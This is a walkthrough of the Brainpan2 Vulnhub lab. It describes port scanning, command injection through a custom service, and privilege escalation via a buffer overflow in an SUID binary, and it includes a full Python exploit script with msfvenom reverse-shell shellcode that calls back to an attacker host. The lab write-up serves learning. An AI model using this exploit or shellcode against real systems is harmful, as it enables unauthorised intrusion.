Brainpan2

Brainpan2 Vulnhub Walkthrough

First, Nmap was used to port scan the target machine and enumerate running services with the -sV flag.

nmap -sV 192.168.130.130

Starting Nmap 7.30 ( https=//nmap.org ) at 2016-10-25 11:47 MDT
Nmap scan report for 192.168.130.130
Host is up (0.000071s latency).
Not shown= 998 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
MAC Address= 00:0C:29:4E:E6:A7 (VMware)

Service detection performed. Please report any incorrect results at https=//nmap.org/submit/ .
Nmap done= 1 IP address (1 host up) scanned in 190.99 seconds

Next, Nikto was run against the service listening on port 10000 to scan for potential vulnerabilities that may be leveraged against this service. Nikto finds a directory at /bin/.

image

A file was found in this directory called brainpan.exe. Upon running the “file” command against this file it is discovered that this file is a jpeg image, and not a binary file.

file Downloads/brainpan.exe
Downloads/brainpan.exe= JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85", baseline, precision 8, 381x307, frames 3

The image below is what was contained in the brainpan.exe file.

Using nc to connect to port 9999, we can interact with the brainpan application which prompts the user to connect as “GUEST”.

Using the TELL ME MORE and HELP commands we can see a few additional interesting commands.

The “FILES” command shows a few files in the current directory, the most interesting of them is notes.txt, shown below.

After analyzing the file, we can see that “popen” is used when viewing files, likely passing the supplied filename as an argument to a command like cat.

I suspected adding a semicolon may allow me to use popen to execute other applications on the server, creating a command injection condition.

Next, a shell was gained on the server using nc.

The id command was run to see which user we were connected as.

The system was searched for interesting files, and a SUID file was located which appeared to be owned by root.

Because the notes.txt file earlier mentioned multiple buffer overflows, I tested the msg_root program for a buffer overflow by supplying a long string argument to the program. This caused a segfault indicating that we found a buffer overflow.

After discovering the overflow, I copied the program off of the VM to my Kali VM for further debugging.

Because the first argument is the one that causes the overflow, I sent a unique pattern to locate the offset of the overflow.

The metasploit framework tool pattern_search indicates that the offset is at 14 bytes.

To verify the offset, I sent 14 ‘A’s, followed by 4 ‘B’s, then ‘C’s for the 2nd argument. EIP is overwritten with ‘B’s, so we know that is correct.

In order to successfully exploit this buffer over we needed more space for our payload. It was discovered that the second argument is being written to heap, which is executable. This address is also reliably the same upon several crashes of the program at the following address: 0x804a008.

To view the memory permissions, vmmap was used. We can see the heap is executable.

Eventually, the following script was written to successfully exploit this buffer overflow.

import struct
import os

#badchars found previously
#\x00\x09\x0a\x20\x0a\x0d\x0b\x0c

buf =  ""
#nops just in case
buf += "\x90"*4
#msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.130.129 lport=443 -f python -b "\x00\x09\x0a\x20\x0a\x0d\x0b\x0c"
buf += "\xdb\xdb\xd9\x74\x24\xf4\xb8\xba\x1b\xe1\xab\x5b\x2b"
buf += "\xc9\xb1\x12\x31\x43\x17\x83\xeb\xfc\x03\xf9\x08\x03"
buf += "\x5e\xcc\xf5\x34\x42\x7d\x49\xe8\xef\x83\xc4\xef\x40"
buf += "\xe5\x1b\x6f\x33\xb0\x13\x4f\xf9\xc2\x1d\xc9\xf8\xaa"
buf += "\x5d\x81\x79\xab\x36\xd0\x7d\xaa\x7d\x5d\x9c\x1c\xe7"
buf += "\x0e\x0e\x0f\x5b\xad\x39\x4e\x56\x32\x6b\xf8\x07\x1c"
buf += "\xff\x90\xbf\x4d\xd0\x02\x29\x1b\xcd\x90\xfa\x92\xf3"
buf += "\xa4\xf6\x69\x73"
#padding
arg1 = "A" * 14 
#overwrite EIP
arg1 += struct.pack("<L",0x804a008)

#execute msg_root with args from above
print os.execv("/home/reynard/msg_root",["/home/reynard/msg_root",arg1,buf])

Upon running this script, we have a shell as the SUID user.

Trying to read the flag reveals that the root account we found is not the actual root user on the system.

linuxprivchecker.py was run again from our new user and reveals new SUID file.

Using the same command injection we found earlier in the brainpan application we are able to gain a shell is gained under the “puck” user.

Next, the home directory of this new user is searched for interesting files.

Reading bash_history reveals an SSH command being used to connect to the real “root ” account, as well as a backup command for the .ssh directory.

Trying to connect to SSH using this command on port 22 does not work. netstat was then run to check is SSH is listening on the system. We can see that it is actually listening on port 2222.

The backed up private key found in puck’s home directory is then used to successfully connect.

Root Access!!